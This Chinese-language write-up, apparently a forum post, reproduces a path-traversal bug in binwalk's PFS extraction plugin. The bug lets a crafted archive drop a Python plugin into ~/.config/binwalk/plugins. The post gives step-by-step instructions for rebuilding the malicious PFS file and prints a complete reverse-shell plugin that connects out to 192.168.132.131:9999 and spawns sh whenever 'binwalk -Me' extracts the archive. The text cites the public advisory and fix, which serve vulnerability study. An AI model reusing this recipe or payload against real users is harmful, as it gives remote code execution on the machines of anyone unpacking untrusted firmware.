在 binwalk 中有一个提取 PFS 文件的插件,一般在嵌入式设备中涉及这种文件格式,但是它在提取文件的时候,路径取的有问题,使会导致路径穿越,把文件写到任意的地方
配合 binwalk 可以在 ~/.config/binwalk/plugins 下面自定义插件运行的特性,通过路径穿越把 python 脚本写在这里,基本能执行任意的命令(毕竟 python 可以 os.system)
因为不知道目标的目录结构,可能没法准确的放到那个目录,可以考虑其他利用方式,参考文章有提到
2.1.2b 到 2.3.3
在 https://github.com/ReFirmLabs/binwalk 的 release 界面找到一个在漏洞范围内的下载下来,比如 2.3.3,然后解压出来放在一台 ubuntu 上,进入目录,python setup.py install 安装一下,poc 这里有:https://github.com/ReFirmLabs/binwalk/pull/617
在 ~ 目录下使用 binwalk -Me poc.zip 看一下是不是有效果
接下来看一下 POC 是怎么构成的
压缩包里面有个 pfs 文件
解压出来看看,前面是文件头加路径,后面是文件内容,经过尝试文件内容前面的 C1 就是文件内容长度
接下来保持前面不变,我们自己写个 python 脚本放在 PFS 文件中,并且把长度改一下,然后保存成一个压缩包
import binwalk.core.plugin import socket,subprocess,os,pty class MaliciousExtractor(binwalk.core.plugin.Plugin): def init(self): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("192.168.132.131",9999)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) pty.spawn("sh")
binwalk -Me malicious.zip 然后 RCE!
参考:
https://github.com/ReFirmLabs/binwalk/pull/617
https://onekey.com/blog/security-advisory-remote-command-execution-in-binwalk/
[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)